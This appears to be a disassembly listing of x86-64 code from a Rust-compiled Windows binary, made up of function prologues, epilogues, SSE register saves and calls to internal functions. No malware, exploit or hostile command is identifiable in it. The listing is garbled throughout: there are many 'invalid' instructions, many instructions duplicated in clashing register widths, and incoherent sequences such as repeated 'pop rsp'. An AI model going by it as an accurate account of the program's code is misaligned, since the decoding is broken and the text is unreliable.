jge 0x1400564f1
cmp qword [rbp + 0x28], 0
sub byte [rax], al
add byte [rbp + rcx + 0x48], dh
je 0x1400564d9
mov rcx, qword [rbp + 0x70]
mov ecx, dword [rbp + 0x70]
jo 0x140056519
mov rdx, qword [rbp + 0x78]
mov edx, dword [rbp + 0x78]
push rbp
js 0x1400564bd
call fcn.1400389f5
sbb al, 0x25
invalid
movapd xmm6, xmmword [rsp + 0xc0]
movapd xmm7, xmmword [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
invalid
mov ah, 0x24
rol byte [rax], 0
add byte [rsi + 0xf], ah
sub byte [rsp + 0xb0], bh
and al, 0xb0
add byte [rax], al
invalid
and al, 0xb0
add byte [rax], al
add byte [rsi + 0x44], ah
movapd xmm8, xmmword [rsp + 0xa0]
movapd xmm8, xmmword [rsp + 0xa0]
movaps xmm8, xmmword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
add byte [rsi + 0x44], ah
movapd xmm9, xmmword [rsp + 0x90]
movabs al, byte [0x8c280f4466000000]
movapd xmm9, xmmword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rsi + 0x44], ah
movapd xmm10, xmmword [rsp + 0x80]
movapd xmm10, xmmword [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rsi + 0x44], ah
movapd xmm11, xmmword [rsp + 0x70]
movapd xmm11, xmmword [rsp + 0x70]
sub byte [rsp + 0x70], bl
pop rsp
and al, 0x70
movapd xmm12, xmmword [rsp + 0x60]
movaps xmm4, xmmword [rsp + 0x60]
sub byte [rsp + 0x60], ah
movapd xmm13, xmmword [rsp + 0x50]
movaps xmm13, xmmword [rsp + 0x50]
movaps xmm5, xmmword [rsp + 0x50]
and al, 0x50
push rax
movapd xmm14, xmmword [rsp + 0x40]
sub byte [rsp + 0x40], dh
je case.0x14000bc89.565
movapd xmm15, xmmword [rsp + 0x30]
movapd xmm15, xmmword [rsp + 0x30]
movaps xmm15, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x30]
jl 0x14005654f
xor byte [rax - 0x7f], cl
invalid
add rsp, 0xd8
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xd8
in al, dx
fadd dword [rax]
add byte [rax], al
lea rbp, [rdx + 0x80]
movapd xmmword [rsp + 0x30], xmm15
add byte [rax], 0
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0x30], xmm7
movaps xmmword [rsp + 0x30], xmm15
movapd xmmword [rsp + 0x40], xmm14
movapd xmmword [rsp + 0x50], xmm13
movapd xmmword [rsp + 0x50], xmm13
movapd xmmword [rsp + 0x60], xmm12
movapd xmmword [rsp + 0x70], xmm11
movaps xmmword [rsp + 0x70], xmm3
movapd xmmword [rsp + 0x80], xmm10
and al, 0x80
add byte [rax], al
add byte [rsi + 0x44], ah
movapd xmmword [rsp + 0x90], xmm9
movapd xmmword [rsp + 0x90], xmm9
and al, 0x90
nop
add byte [rax], al
add byte [rsi + 0x44], ah
movapd xmmword [rsp + 0xa0], xmm8
movapd xmmword [rsp + 0xa0], xmm8
and al, 0xa0
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
invalid
movabs al, byte [0x24bc290f66000000]
movapd xmmword [rsp + 0xb0], xmm7
sub dword [rsp + 0xb0], edi
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rsi + 0xf], ah
movaps xmmword [rsp + 0xc0], xmm6
movapd xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rbp + 0x50]
push r8
mov rdx, qword [rbp + 0x148]
call fcn.14006095a
cwde
invalid
add byte [rax], al
add qword [rax], rax
add al, ch
cwde
movabs dword [0xc024b4280f0000], eax
add byte [rax], al
movaps xmm6, xmmword [rsp + 0xc0]
movaps xmm6, xmmword [rsp + 0xc0]
sub byte [rsp + 0xc0], dh
movaps xmm7, xmmword [rsp + 0xb0]
mov esp, 0xb024
add byte [rdi + rcx + 0x28], al
invalid
invalid
invalid
test byte [rax + riz*4], ah
and al, 0xa0
movaps xmm8, xmmword [rsp + 0xa0]
movaps xmm9, xmmword [rsp + 0x90]
add byte [rax], al
and al, 0xa0
add byte [rax], al
add byte [rdi + rcx + 0x28], al
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax], al
movaps xmm10, xmmword [rsp + 0x80]
movaps xmm11, xmmword [rsp + 0x70]
add byte [rax], al
movaps xmm10, xmmword [rsp + 0x80]
sub byte [rsp + 0x80], dl
movaps xmm11, xmmword [rsp + 0x70]
jo case.0x140045009.280
movaps xmm12, xmmword [rsp + 0x60]
movaps xmm4, xmmword [rsp + 0x60]
and al, 0x60
movaps xmm13, xmmword [rsp + 0x50]
movaps xmm14, xmmword [rsp + 0x40]
je case.0x140045403.47
invalid
je case.0x140045403.47
and al, 0x40
movaps xmm15, xmmword [rsp + 0x30]
movaps xmm15, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x30]
jl case.0x1400473d4.47
xor byte [rax - 0x7f], cl
invalid
add rsp, 0xd8
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf013948], al
or byte [rax + 0x39], 1
invalid
add byte [rax], al
or byte [rax + 0x39], 1
cmp qword [rcx], rax
add dword [rdi], ecx
jne fcn.140043693
test dword [rcx - 0x30], esp
invalid
invalid
ret
push rsi
push rdi
sub rsp, 0x28
in al, dx
invalid
mov esi, edx
mov edi, ecx
in al, dx
sub byte [rcx - 0x4e30762a], cl
adc al, ch
mov cl, 0x10
call fcn.140056692
add byte [rax], r8b
invalid
add byte [rax], r8b
add byte [rdi], cl
mov bh, 0xc8
invalid
add byte [rax], al
movzx ecx, ax
enter 0xfffffffffffff889, 0x48
imul eax, ecx
scasd eax, dword [rdi]
invalid
mov eax, edi
imul rax, rcx
scasd eax, dword [rdi]
invalid
scasd eax, dword [rdi]
ror dword [rax - 0x7d], 0xc0
add rax, 7
invalid
shr rax, 3
shr eax, 3
mov ecx, esi
int1
mul rcx
mov rcx, 0xffffffffffffffff
mov ecx, 0xffffffff
dec dword [rax + 0xf]
ror dword [rax - 0x7d], 0xc4
ror dword [rax - 0x7d], 0xc4
add rsp, 0x28
pop rdi
pop rsi
cmovo rax, rcx
cmovo eax, ecx
add rsp, 0x28
add esp, 0x28
pop rdi
pop rsi
ret
in al, dx
sub byte [rax - 0x77], cl
enter 0xffffffffffff894c, 0x4c
invalid
invalid
invalid
mov qword [rsp + 0x20], r9
and al, 0x20
mov r9d, 0xe
mov rcx, rdx
mov ecx, edx
invalid
add byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x3e], 1
mov rdx, r8
mov edx, eax
mov r8, rax
call fcn.140085969
nop
add rsp, 0x28
invalid
invalid
sub bl, al
ret
ror dword [rax - 0x73], 0xd
enter 0x2355, 0
invalid
lea ecx, [0x14028bc64]
add byte [rax + 0x63], cl
add al, 0x81
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov ax, 8
ret
add bl, al
mov ax, 0x20
ret
mov ax, 4
ret
mov eax, 0x66c3000c
mov eax, 0x66c30080
mov eax, 0x66c30060
ret
mov eax, 0x66c30003
mov eax, 0x66c30001
mov eax, 0x66c30006
mov eax, 0x66c30030
mov eax, 0xfc30040
mov dh, 0xc2
add bl, al
movzx eax, dl
ret
sub esp, 0x28
lea rax, [rsp + 0x27]
mov byte [rax], dl
mov r8d, 1
add dword [rax], eax
add byte [rax], al
mov rdx, rax
call fcn.14003f45a
nop
add rsp, 0x28
ret
invalid
lea edi, [rsp + 0x26]
and word [rdi], 0
mov rcx, rdi
call fcn.1400478f3
mov r8d, 2
invalid
inc dword [rcx - 0x48]
add al, byte [rax]
add byte [rax], al
mov rcx, rsi
mov rdx, rdi
call fcn.14003f45a
invalid
nop
call qword [rax + 0x28c48348]
add rsp, 0x28
pop rdi
pop rsi
ret
sub esp, 0x28
mov rsi, rcx
lea rdi, [rsp + 0x24]
and dword [rdi], 0
invalid
invalid
invalid
mov rcx, rdi
call fcn.140056773
mov r8d, 4
mov rcx, rsi
mov rdx, rdi
call fcn.14003f45a
invalid
invalid
call qword [rax + 0x28c48348]
pop rdi
pop rsi
ret
invalid
xor byte [rcx - 0x3576b72a], cl
lea r9, [0x1401fa558]
mov ecx, 4
add byte [rax], al
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
call fcn.1400412d1
lea r8, [rsp + 0x2c]
mov dword [r8], esi
mov dword [rax], esi
mov dword [rax], esi
lea rcx, [0x1401fa570]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
shr eax, 0xee
int1
invalid
add byte [rax + 0x30c48348], dl
pop rsi
ret
shr eax, 0xee
int1
invalid
sub byte [rax - 0x73], cl
and al, 0x27
mov byte [rax], dl
mov r8d, 1
mov rdx, rax
ret 0x8ce8
invalid
invalid
call qword [rax + 0x28c48348]
ret
ret 0x8ce8
in al, dx
sub byte [rax - 0x77], cl
invalid
stc
call fcn.1400478f3
mov r8d, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov rcx, rsi
mov rdx, rdi
call fcn.14003f462
nop
add rsp, 0x28
pop rdi
pop rsi
ret
sub byte [rax - 0x77], cl
invalid
mov r8d, 4
add byte [rax], al
mov rcx, rsi
int1
mov rdx, rdi
call fcn.14003f462
invalid
call qword [rax + 0x28c48348]
invalid
call qword [rax + 0x28c48348]
pop rdi
pop rsi
ret
in al, dx
lea rbp, [rsp + 0x40]
mov qword [rbp], 0xfffffffffffffffe
add r14b, r15b
invalid
mov edi, r8d
invalid
mov ebx, edx
mov rsi, rcx
mov byte [rbp - 0x18], 6
call 0x140bdb06b
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x1fba76b8], al
call 0x140bdb06b
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x1fba76b8], al
invalid
add byte [rax], al
add byte [rax - 0x1fba76b8], al
push 8
pop rcx
push 4
pop rdx
or byte [rcx + 0x6a], bl
add al, 0x5a
call fcn.14003f27f
mov dword [rax], ebx
mov dword [rax + 4], edi
add al, 0x8a
invalid
mov bh, dh
dec dword [rcx + 0x4788918]
movups xmm0, xmmword [rbp - 0x20]
movups xmm1, xmmword [rbp - 0x10]
invalid
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov qword [rsi + 0x28], rax
lea rax, fcn.140009390
mov qword [rsi + 0x30], rax
sub r11d, dword [r10]
sub ebx, dword [rdx]
add byte [rax - 0x77], cl
xor byte [rax - 0x48], r9b
mov eax, 5
add byte [rax], al
invalid
or byte [rax - 0x77], 6
mov dword [rsi + 0x30], eax
movabs rax, 0x8000000000000005
mov qword [rsi], rax
mov eax, 5
add byte [rax], al
add byte [rax + 0x48068948], al
add esp, 0x48
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
push 0x40
in al, dx
sub byte [rax - 0x73], cl
push 0x40
lea rcx, [rbp - 0x20]
call fcn.14003f222
nop
loopne 0x1400568b3
push rbx
mov esi, edi
call qword [rax + 0x28c48348]
add rsp, 0x28
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rdi, r9
iretd
mov rbx, r8
mov ebx, eax
iretd
mov ebx, eax
mov r14, rdx
mov rsi, rcx
mov al, byte [rsp + 0x80]
invalid
add byte [rcx - 0x41], cl
or dword [rax], eax
add byte [rax], al
invalid
movabs r15, 0x8000000000000009
dec al
mov edi, 9
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp dh, 0xc8
add byte [rax], al
add byte [rax - 0x72b73702], al
lea edx, [rsp + 0x2f]
lea rdx, [rsp + 0x2f]
lea edx, [rsp + 0x2f]
invalid
mov byte [rdx], al
mov r8d, 1
mov rcx, r14
call fcn.14003f45a
test rax, rax
invalid
jne case.0x14003c171.346
sal byte [rbp + 0x13], 0x4c
mov ecx, esi
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call fcn.14003f45a
test rax, rax
je 0x140056943
mov qword [rsi], r15
mov qword [rsi + 8], rax
mov qword ds:[rsi + 8], rax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
inc r15
mov qword [rsi], r15
jmp 0x140056937
add byte [rax], al
add byte [rax], al
cmp dh, 0xc8
invalid
enter 0xffffffffffff800c, 0x48
lea edx, [rsp + 0x2f]
or al, 0x80
lea rdx, [rsp + 0x2f]
mov byte [rdx], al
mov r8d, 1
add byte [rax], al
add byte [rax], al
mov rcx, r14
call fcn.14003f45a
test rax, rax
jne case.0x140045009.286
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call fcn.14003f45a
test rax, rax
je 0x1400569b7
mov qword [rsi], r15
mov qword [rsi + 8], rax
add rsp, 0x30
pop rbx
xor byte [rbx + 0x5f], bl
pop rdi
pop rsi
pop r14
pop r15
ret
inc r15
mov qword [rsi], r15
jmp 0x1400569ab
notrack jmp 0x1400569ab
mov dword [rbp], 0xfffffffe
mov r8, rdx
mov rax, qword [rcx]
lea rcx, [rbp - 8]
ror byte [rax - 0x75], 1
add dword [rax - 0x73], ecx
clc
mov qword [rcx - 8], rax
and qword [rcx], 0
add byte [rax - 0x73], cl
adc eax, 0x179d05
add byte [rax - 0x73], cl
adc eax, 0x179d05
lea rcx, [rbp - 0x10]
lea ecx, [rbp - 0x10]
call fcn.140025840
out dx, al
cld
inc dword [rax + rax*8 - 0x74b7ed8c]
jne 0x1400569f4
test al, al
je case.0x140042804.104
mov rsi, qword [rbp - 8]
test rsi, rsi
jne 0x140056a15
pop rax
scasb al, byte [rdi]
and byte [rax], al
jmp 0x140056a0c
xor esi, esi
lea rcx, [rbp - 8]
call fcn.14001c99f
mov rax, rsi
add rsp, 0x38
pop rsi
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
lea rcx, [rbp - 8]
call fcn.14001c99f
nop
add rsp, 0x28
pop rsi
pop rbp
ret
or byte [rbx + rcx*4 + 0x42], cl
and byte [rcx + rcx*4 + 0x45], cl
loopne 0x140056a79
adc byte [rdx + 0x10], al
movaps xmmword [rbp - 0x30], xmm0
lea r9d, [rcx - 0x15]
add ecx, 0xffffffec
shr esp, 0x45
xor eax, eax
xor eax, eax
cmp r9w, 5
cmovb r8d, ecx
movzx ecx, r8w
lea r8, [0x14028bcd0]
movsxd rcx, dword [r8 + rcx*4]
mov byte [rcx + rax - 0x3f], cl
jmp rcx
mov dword [rbp + 0x38], r9d
mov qword [rbp + 0x28], rdx
mov byte [rbp + 0x10], 5
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0x45
invalid
push 0x28
pop rcx
push 8
invalid
or byte [rdx - 0x18], bl
ret 0xfe87
pop rdx
call fcn.14003f27f
dec dword [rax - 0x75]
push rbp
sub byte [rax - 0x75], cl
invalid
invalid
dec dword [rax - 0x75]
push rbp
sub byte [rax - 0x75], cl
and byte [rax - 0x77], cl
mov qword [rax + 0x20], rcx
invalid
mov qword [rax + 0x20], rcx
movups xmm0, xmmword [rdx]
adc byte [rdx], al
adc byte [rdx], al
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movups xmm0, xmmword [rbp + 8]
movups xmm1, xmmword [rbp + 0x18]
movups xmmword [rsi + 0x18], xmm1
sbb byte [rdi], cl
adc dword [rsi + 8], eax
mov qword [rsi + 0x28], rax
lea rax, fcn.14003f147
lea eax, [0x1401f94d0]
lea eax, [0x1401f94d0]
mov qword [rsi + 0x30], rax
movabs rax, 0x8000000000000005
mov qword [rsi], rax
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 6
jmp 0x140056bd2
mov dword [rbp + 0x38], r9d
mov qword [rbp + 0x28], rdx
lea rcx, [rbp - 0x50]
mov qword [rcx], rax
invalid
cmp byte [r8 - 0x77], r9b
push rbp
sub byte [rax - 0x73], cl
mov r8b, 0x48
mov dword [rcx], eax
invalid
movaps xmm0, xmmword [rbp - 0x30]
movups xmmword [rcx + 8], xmm0
mov rax, qword [rbp - 0x20]
mov qword [rcx + 0x18], rax
mov dword [rcx + 0x18], eax
mov byte [rbp + 0x10], 5
movabs rax, 0x8000000000000000
mov eax, 0
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0x45
invalid
mov eax, 0
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0x45
invalid
or byte [rax - 0x77], 0x45
or byte [rax - 0x73], cl
lea rdx, [rbp - 0x10]
and qword [rdx], 0
push rbp
lock and qword [rdx], 0
mov qword [rdx + 8], 1
and qword [rdx + 0x10], 0
adc byte [rax], al
lea r8, [0x1401f9ee0]
call case.0x1401a889f.227
invalid
invalid
invalid
test al, al
jne 0x140056bdd
mov rax, qword [rbp]
mov qword [rsi + 0x38], rax
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [rsi + 0x28], xmm0
adc dword [rsi + 0x28], eax
sub byte [rdi], r9b
adc byte [rbp + 8], al
movups xmm0, xmmword [rbp + 8]
movups xmm1, xmmword [rbp + 0x18]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
adc dword [rsi], eax
adc dword [rsi], eax
invalid
movabs rax, 0x8000000000000006
mov qword [rsi + 0x20], rax
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0x46
and byte [rax - 0x73], cl
lea rcx, [rbp - 0x50]
call fcn.14003f1c6
mov rdx, qword [rbp + 0x28]
invalid
invalid
invalid
lea rcx, [rbp - 0x50]
lea ecx, [rbp - 0x50]
call fcn.14003f1c6
mov rdx, qword [rbp + 0x28]
mov r9d, dword [rbp + 0x38]
jmp 0x140056bc3
cmp bl, ch
and eax, 0x846c748
invalid
invalid
or byte [rbx], r8b
invalid
mov qword [rsi + 8], 3
add byte [rax], al
movabs rax, 0x8000000000000007
jmp 0x140056bc0
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000009
invalid
or byte [rax - 0x48], r9b
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x66068948], al
or byte [rax - 0x77], 6
invalid
or byte [rax - 0x77], 6
mov qword [rsi], rax
cmp r9w, 2
cmp r9d, 2
jb 0x140056bd2
mov rcx, rdx
call fcn.14003f147
nop
add rsp, 0xc8
add esp, 0xc8
add esp, 0xc8
add byte [rax], al
add byte [rsi + 0x5d], bl
pop rsi
pop rbp
ret
lea rax, [0x140289ae0]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_alloc_src_string.rs
lea r9, fcn.140009390
push 0x37
invalid
pop rdx
lea r8, [rbp + 0x37]
call fcn.1401c7200
ud2
invalid
invalid
add eax, 0xb0f0017
mov qword [rsp + 0x10], rdx
or ecx, dword [rax - 0x77]
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
in al, dx
invalid
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
mov edx, dword [rbp - 8]
clc
add byte [rax], 0
add byte [rax - 0x75], cl
invalid
call fcn.14006095a
lea rcx, [rbp + 8]
call fcn.14003f222
test esi, edi
dec dword [rax - 0x73]
lea ecx, [rbp - 0x50]
mov al, 0xe8
call fcn.14003f1c6
mov byte [rbp + 0x3f], 0
nop
test esi, edi
inc esi
invalid
add rsp, 0x28
pop rsi
pop rbp
ret
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x3f], 0
jne 0x140056c60
cmp word [rbp + 0x38], 2
jae 0x140056c67
add rsp, 0x28
invalid
pop rsi
pop rbp
ret
mov rcx, qword [rbp + 0x28]
call fcn.14003f147
test dh, bh
invalid
jmp 0x140056c60
adc byte [rbp + 0x56], dl
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
mov rcx, qword [rbp + 0x28]
call fcn.14003f147
nop
add rsp, 0x28
pop rsi
pop rbp
ret
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 8]
invalid
invalid
lea ecx, [rbp + 8]
or r8b, r13b
jb case.0x1400115e7.510
call fcn.14003f222
mov byte [rbp + 0x3f], 1
invalid
invalid
add dword [rax - 0x7d], ecx
invalid
sub byte [rsi + 0x5d], bl
invalid
inc esi
invalid
invalid
sub byte [rsi + 0x5d], bl
ret
jg 0x140056d0e
add rax, qword [rcx]
add eax, dword [rcx]
cmp rax, 2
jae 0x1400478c8
xor esi, 0xb
invalid
ret
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
invalid
invalid
dec dword [rcx + rcx*4 - 0x40]
mov r10d, dword [rbp + 0x30]
movabs r11, 0x8000000000000005
lea r8, [rbp - 0x48]
invalid
invalid
add byte [rax], al
add byte [rax], al
or byte [rbp + rcx*4 + 0x45], 0xb8
mov qword [r8 + 0x18], r11
mov dword [r8 + 0x30], r10d
push rax
invalid
mov dword [rax + 0x30], edx
push rax
xor byte [rbp - 0x77], al
xor al, 0x49
mov ebx, 4
mov dword [r8 + 0x34], r9d
movabs r11, 0xff00000004
add byte [rax], al
add al, 0
add byte [rax], al
inc dword [rax]
add byte [rax], al
mov qword [r8 + 0x38], r11
movabs r11, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x4818894d], al
add edx, 0x40
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x4818894d], al
add edx, 0x40
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r9d
and byte [rcx - 0x77], cl
shr eax, 0x34
xor al, 0
add byte [rax], al
xor al, 0
add byte [rax], al
lea rcx, [rbp - 0x48]
call 0x1400478c8
nop
add rsp, 0x80
add byte [rax], al
pop rbp
ret
push rbp
sub rsp, 0x30
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
movabs r8, 0x834890ffff0b5ee8
mov eax, 0xff0b5ee8
invalid
nop
invalid
invalid
invalid
lea rcx, [rbp - 0x48]
call 0x1400478c8
nop
add rsp, 0x30
pop rbp
ret
mov qword [rbp + 0xb0], 0xfffffffffffffffe
mov rdi, rdx
mov rsi, rcx
mov esi, ecx
invalid
mov esi, ecx
mov r13d, dword [rbp + 0x128]
mov r14d, dword [rbp + 0x120]
mov rax, qword [r8 + 0x18]
mov eax, dword [rax + 0x18]
movabs rcx, 0x8000000000000007
xor edx, edx
cmp rax, rcx
setb dl
shl edx, 4
movabs rbx, 0x8000000000000006
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x39], 0x74
invalid
and al, 0x75
push rsp
invalid
push rsp
mov r15, r8
mov edi, eax
xor edx, edx
cmp rax, rcx
setb dl
shl edx, 4
add al, 0x45
cmp dword [rax + rdx + 0x20], ebp
add al, 0x45
cmp dword [rax + rdx + 0x20], ebp
jne case.default.0x140056e1a
movabs rcx, 0x7ffffffffffffff9
mov ecx, 0xfffffff9
invalid
invalid
add rcx, rax
cmp rcx, 3
stc
invalid
ror dword [rax - 0x7d], 0xf9
stc
add ebp, dword [rdx + 3]
push 3
pop rdx
cmovae rcx, rdx
mov dword [rbp + 0xa8], 4
test al, 0
add byte [rax], al
add al, 0
invalid
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x234ed5
invalid
lea rdx, [0x14028bce8]
add byte [rax + 0x63], cl
movsxd rcx, dword [rdx + rcx*4]
invalid
or al, 0x8a
mov cl, byte [rax + 1]
add rcx, rdx
jmp rcx
invalid
sar edi, 1
loope case.0x14002efaa.383
lea rdi, [rbp - 0x18]
lea edi, [rbp - 0x18]
lea rdx, [0x1401fc951]
adc eax, 0x1a5b2a
pop rbx
sbb al, byte [rax]
add bl, ch
jbe 0x140056e72
invalid
jmp 0x140056e9f
mov qword [rsi], rbx
mov dword [rsi], ebx
invalid
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax + 0x8468948], al
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
or byte [rcx + r9*4 + 0x76], r8b
or byte [rcx + rcx*4 + 0x76], al
mov dword [rsi + 0x10], r14d
mov dword [rsi + 0x10], esi
adc byte [rcx + rcx*4 + 0x6e], al
adc al, 0x48
and qword [rsi + 0x20], 0
mov dword [rsi + 0x14], r13d
and qword [rsi + 0x20], 0
and byte [rax], al
and byte [rax], al
jmp 0x140056f05
add byte [rax], al
add byte [rax - 0x73], cl
jge 0x140056e38
lea rdi, [rbp - 0x18]
lea rdx, [0x1401fc9a1]
adc eax, 0x1a5b4a
sbb al, byte [rax]
push 0x2f
jmp 0x140056ea1
mov r12, r9
mov r10d, dword [r15 + 0x38]
mov dword [rbp + 0xa4], r10d
movsb byte [rdi], byte [rsi]
add byte [rax], al
invalid
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rax - 0x47], cl
invalid
mov ecx, 5
add byte [rax], al
invalid
add byte [rax], al
movabs rcx, 0x8000000000000005
cmp rax, rcx
cmp eax, ecx
or byte [rax + 0x39], 0xc8
cmp eax, ecx
enter 0xffffffffffff840f, 0xffffffffffffffa5
add byte [rax], al
add byte [rax + 0x39], cl
fmul dword [rdi]
je 0x140056f21
test byte [rbp + 0x48000000], ah
cmp eax, ebx
cmp rax, rbx
jne 0x140056f19
test dword [rax + rax - 0x7cbf0000], edx
add byte [rax], al
add byte [rcx - 0x7d], al
invalid
invalid
cmp r10d, 4
cmp edx, 4
cli
add al, 0xf
test byte [rdx - 0x17000000], dl
xchg edx, eax
add byte [rax], al
add cl, ch
je 0x140056f21
xchg edx, eax
add byte [rax], al
add cl, ch
jmp 0x140056f83
out dx, eax
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rdi, [rbp - 0x18]
jge 0x140056e80
lea rdx, [0x1401fc979]
lea edx, [0x1401fc979]
push 0x28
pop r8
pop rax
mov rcx, rdi
mov ecx, edi
call fcn.14003f3ec
test r14d, edi
dec dword [rax - 0x7d]
and qword [rdi + 0x18], 0
and qword [rdi + 0x18], 0
movups xmm0, xmmword [rbp - 0x18]
movzx eax, word [rbp - 8]
mov bh, 0x45
clc
call 0x1384b25c7
mov bh, 0x45
clc
mov ecx, dword [rbp - 6]
cli
mov dword [rbp + 0x9c], ecx
movzx ecx, word [rbp - 2]
mov word [rbp + 0xa0], cx
lea esp, [rax + 0xf000000]
adc byte [rbp + 0x10], cl
lea esp, [rax + 0xf000000]
add byte [rax], al
add byte [rdi], cl
adc byte [rbp + 0x10], cl
movups xmmword [rsi + 0x30], xmm1
movups xmm1, xmmword [rbp]
adc byte [rbp], cl
adc byte [rbp], cl
add byte [rdi], cl
adc dword [rsi + 0x20], ecx
movups xmmword [rsi + 0x20], xmm1
movups xmmword [rsi + 8], xmm0
mov word [rsi + 0x18], ax
mov eax, dword [rbp + 0x9c]
test dword [rax + rax + 0x46890000], ebx
sbb cl, byte [rdi]
mov bh, 0x85
movabs al, byte [0x481e468966000000]
mov eax, 6
add byte [rax], al
invalid
invalid
test dword [rax + rax + 0x46890000], ebx
sbb cl, byte [rdi]
mov bh, 0x85
movabs al, byte [0x481e468966000000]
mov eax, 6
add byte [rax], al
add byte [rax + 0x48068948], al
add esp, 0x138
mov qword [rsi], rax
add rsp, 0x138
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
jl 0x140056f67
cmp r10d, 4
jne 0x140056f67
mov eax, dword [r15 + 0x3c]
cmp eax, 0xfe
ja 0x140056ffa
cmp qword [r12], 0
mov rcx, qword [r12 + 8]
mov rdx, qword [r12 + 0x10]
je 0x140056fe1
add rdx, rdx
xor r8d, r8d
cmp rdx, r8
je 0x1400570d0
movzx r9d, word [rcx + r8]
add r8, 2
add eax, 2
cmp eax, r9d
jae 0x140056f4b
jmp 0x140056ffa
cmp r10d, 4
cmp edx, 4
jne 0x140056f83
lea rcx, [rbp - 0x18]
lea rdx, [0x1401fc9d0]
lea edx, [0x1401fc9d0]
lea edx, [0x1401fc9d0]
sbb al, byte [rax]
push 0x2e
pop r8
call fcn.14003f3ec
invalid
jmp 0x140056fd7
invalid
invalid
lea rax, [rbp + 0xa4]
lea rcx, [rbp - 0x58]
test al, 0x48
mov dword [rcx], eax
mov qword [rcx], rax
lea rax, [0x140029230]
mov qword [rcx + 8], rax
lea rdx, [rbp + 0xa8]
dec dword [rax - 0x77]
or byte [r8 - 0x73], cl
or byte [rax - 0x73], cl
xchg ebp, eax
test al, 0
add byte [rax], al
mov qword [rcx + 0x10], rdx
lea r8, [0x1401fca20]
push rcx
adc byte [rbp + rcx*4 + 5], cl
jb 0x140057006
add eax, 0x1a5a72
sbb al, byte [rax]
lea rdx, [rbp + 0x38]
